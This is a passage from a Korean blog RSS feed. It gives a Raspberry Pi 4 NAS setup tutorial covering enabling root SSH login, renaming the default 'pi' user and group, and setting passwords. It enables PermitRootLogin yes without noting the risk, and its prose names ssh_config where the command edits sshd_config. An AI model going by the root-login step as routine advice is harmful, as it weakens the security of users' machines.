this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;root의 비밀번호 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;/etc/ssh/ssh_config&lt;/b&gt;&lt;/u&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;파일을 연 후, &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;&lt;u&gt;&lt;b&gt;PermitRootLogin 설정&lt;/b&gt;&lt;/u&gt;을 찾아서&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;yes로 변경합니다.&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;&lt;br /&gt;root 계정의 SSH 로그인을&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;허용하는 설정입니다.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;u&gt;&lt;b&gt;$ sudo vi /etc/ssh/sshd_config&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;b&gt;&lt;u&gt;PermitRootLogin yes&lt;/u&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;329&quot; data-filename=&quot;이미지 15.png&quot; width=&quot;500&quot; height=&quot;252&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sDlKm/btq91TKKW01/zG0udpyU96pyBiLEcffCq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sDlKm/btq91TKKW01/zG0udpyU96pyBiLEcffCq0/img.png&quot; data-alt=&quot;root의 ssh 허용&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sDlKm/btq91TKKW01/zG0udpyU96pyBiLEcffCq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsDlKm%2Fbtq91TKKW01%2FzG0udpyU96pyBiLEcffCq0%2Fimg.png&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;329&quot; data-filename=&quot;이미지 15.png&quot; width=&quot;500&quot; height=&quot;252&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;root의 ssh 허용&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;설정한 후&lt;br /&gt;ssh를 재시작합니다.&lt;br /&gt;바꾼 설정을 적용하기 위해서 입니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;$ sudo service sshd restart&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;55&quot; data-filename=&quot;이미지 16.png&quot; width=&quot;500&quot; height=&quot;42&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lpdPF/btq91UJEP4B/KczVijX7JVJ71mrOLkbUK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lpdPF/btq91UJEP4B/KczVijX7JVJ71mrOLkbUK0/img.png&quot; data-alt=&quot;ssh 재시작&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lpdPF/btq91UJEP4B/KczVijX7JVJ71mrOLkbUK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlpdPF%2Fbtq91UJEP4B%2FKczVijX7JVJ71mrOLkbUK0%2Fimg.png&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;55&quot; data-filename=&quot;이미지 16.png&quot; width=&quot;500&quot; height=&quot;42&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ssh 재시작&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;사용자 변경&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 사용자를 변경합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;우선 root로 ssh에 재접속합니다.&lt;br /&gt;그후 pi의 홈 디렉토리 이름을&lt;br /&gt;바꿀 계정의 이름으로 변경합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;$ mv /home/pi /home/[바꿀 계정]&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;99&quot; data-filename=&quot;이미지 17.png&quot; width=&quot;500&quot; height=&quot;76&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cw61wt/btq9R5sNSbR/TlY6O077qyvO5YXmte2kjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cw61wt/btq9R5sNSbR/TlY6O077qyvO5YXmte2kjk/img.png&quot; data-alt=&quot;홈 디렉토리 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cw61wt/btq9R5sNSbR/TlY6O077qyvO5YXmte2kjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcw61wt%2Fbtq9R5sNSbR%2FTlY6O077qyvO5YXmte2kjk%2Fimg.png&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;99&quot; data-filename=&quot;이미지 17.png&quot; width=&quot;500&quot; height=&quot;76&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;홈 디렉토리 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;명령어를 통해 pi 계정의 이름을 변경합니다.&lt;br /&gt;&lt;b&gt;&lt;u&gt;$ usermod -l [바꿀 계정] pi&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;계정의 이름을 바꾼 후,&lt;br /&gt;계정의 홈 디렉토리 또한 변경합니다.&lt;br /&gt;&lt;u&gt;&lt;b&gt;$ usermod -m -d /home/[바꿀 계정] [바꿀 계정]&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;114&quot; data-filename=&quot;이미지 18.png&quot; width=&quot;500&quot; height=&quot;88&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKtTmF/btq91pcdAcz/jcKhEEnmffPsk46AGud981/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKtTmF/btq91pcdAcz/jcKhEEnmffPsk46AGud981/img.png&quot; data-alt=&quot;계정명 및 홈 디렉토리 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKtTmF/btq91pcdAcz/jcKhEEnmffPsk46AGud981/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKtTmF%2Fbtq91pcdAcz%2FjcKhEEnmffPsk46AGud981%2Fimg.png&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;114&quot; data-filename=&quot;이미지 18.png&quot; width=&quot;500&quot; height=&quot;88&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;계정명 및 홈 디렉토리 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;계정의 비밀번호 설정도&lt;br /&gt;해야합니다.&lt;br /&gt;&lt;u&gt;&lt;b&gt;$ passwd rudin&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;649&quot; data-origin-height=&quot;68&quot; data-filename=&quot;이미지 25.png&quot; width=&quot;500\&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JODtj/btq9Y6K31Xm/VXbihdRk5p2NbiIxPxh8eK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JODtj/btq9Y6K31Xm/VXbihdRk5p2NbiIxPxh8eK/img.png&quot; data-alt=&quot;사용자 계정 비밀번호 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JODtj/btq9Y6K31Xm/VXbihdRk5p2NbiIxPxh8eK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJODtj%2Fbtq9Y6K31Xm%2FVXbihdRk5p2NbiIxPxh8eK%2Fimg.png&quot; data-origin-width=&quot;649&quot; data-origin-height=&quot;68&quot; data-filename=&quot;이미지 25.png&quot; width=&quot;500\&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;사용자 계정 비밀번호 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;사용자 그룹 변경&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자는 변경했으나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그룹은 변경되지 않았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에 아직 pi 그룹이 남아있으며,&lt;br /&gt;pi 그룹 권한을 가지는&lt;br /&gt;파일들이 존재합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;$ find -group pi&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;166&quot; data-filename=&quot;이미지 19.png&quot; width=&quot;500&quot; height=&quot;127&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/na16o/btq91qI0kxq/HRZMfEZO98MpZfvJ2Gk0F0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/na16o/btq91qI0kxq/HRZMfEZO98MpZfvJ2Gk0F0/img.png&quot; data-alt=&quot;pi 그룹 권한을 가지는 파일들&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/na16o/btq91qI0kxq/HRZMfEZO98MpZfvJ2Gk0F0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fna16o%2Fbtq91qI0kxq%2FHRZMfEZO98MpZfvJ2Gk0F0%2Fimg.png&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;166&quot; data-filename=&quot;이미지 19.png&quot; width=&quot;500&quot; height=&quot;127&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;pi 그룹 권한을 가지는 파일들&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 명령어로 사용자의 그룹과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일들의 그룹을 변경합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;s&gt;먼저, 그룹을 생성합니다.&lt;/s&gt;&lt;br /&gt;&lt;s&gt;&lt;u&gt;&lt;b&gt;$ groupadd [그룹명]&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;사용자의 그룹을 변경합니다.&lt;b&gt;&lt;br /&gt;&lt;u&gt;$ usermod -g [변경할 그룹 사용자]&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/s&gt;&lt;b&gt;&lt;u&gt;# 2021.09.19 수정&lt;br /&gt;$ groupmod -n [새로운 그룹명] pi&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;- pi 그룹의 이름을 다른 이름으로 변경&lt;br /&gt;&amp;nbsp; (보통 바꾼 계정의 이름)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;115&quot; data-filename=&quot;이미지 20.png&quot; width=&quot;500&quot; height=&quot;88&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8XNTP/btq93nx4pjv/qm2fF3fvbSSdoQO5fxYZhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8XNTP/btq93nx4pjv/qm2fF3fvbSSdoQO5fxYZhK/img.png&quot; data-alt=&quot;사용자 그룹 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8XNTP/btq93nx4pjv/qm2fF3fvbSSdoQO5fxYZhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8XNTP%2Fbtq93nx4pjv%2Fqm2fF3fvbSSdoQO5fxYZhK%2Fimg.png&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;115&quot; data-filename=&quot;이미지 20.png&quot; width=&quot;500&quot; height=&quot;88&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;사용자 그룹 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일의 그룹 소유권도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바뀌었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;197&quot; data-filename=&quot;이미지 21.png&quot; width=&quot;500&quot; height=&quot;151&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5grjG/btq9VkpvIqV/WZHI0ABI99ragm1GJYhMTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5grjG/btq9VkpvIqV/WZHI0ABI99ragm1GJYhMTK/img.png&quot; data-alt=&quot;파일의 그룹 소유권 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5grjG/btq9VkpvIqV/WZHI0ABI99ragm1GJYhMTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5grjG%2Fbtq9VkpvIqV%2FWZHI0ABI99ragm1GJYhMTK%2Fimg.png&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;197&quot; data-filename=&quot;이미지 21.png&quot; width=&quot;500&quot; height=&quot;151&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파일의 그룹 소유권 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;기본 설정 끝&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 라즈베리파이 업데이트와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OMV5 설치를 해야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/116&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/140&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/141&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/142&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/144&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/145&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/146&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/147&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/148&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>NAS/Raspberry Pi</category>
      <category>docker</category>
      <category>media server</category>
      <category>omv</category>
      <category>PORTAINER</category>
      <category>raspberry pi</category>
      <category>라즈베리파이</category>
      <category>미디어 서버</category>
      <category>홈 스트리밍</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/141</guid>
      <comments>https://chmodi.tistory.com/141#entry141comment</comments>
      <pubDate>Mon, 19 Jul 2021 22:42:02 +0900</pubDate>
    </item>
    <item>
      <title>[라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅</title>
      <link>https://chmodi.tistory.com/140</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에 여러가지 이유로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;홈 스트리밍 서버(미디어 서버)의 필요성을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 느끼게 되어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;집에서 놀고 있는 라즈베리파이를 다시 꺼냈습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지난 번 작업에서 불필요한 설정을 최소화했습니다.&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;OS 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OS 설치는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지난 번 작성한 글을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그대로 따라하시면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/116&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&lt;/a&gt;&lt;/p&gt;
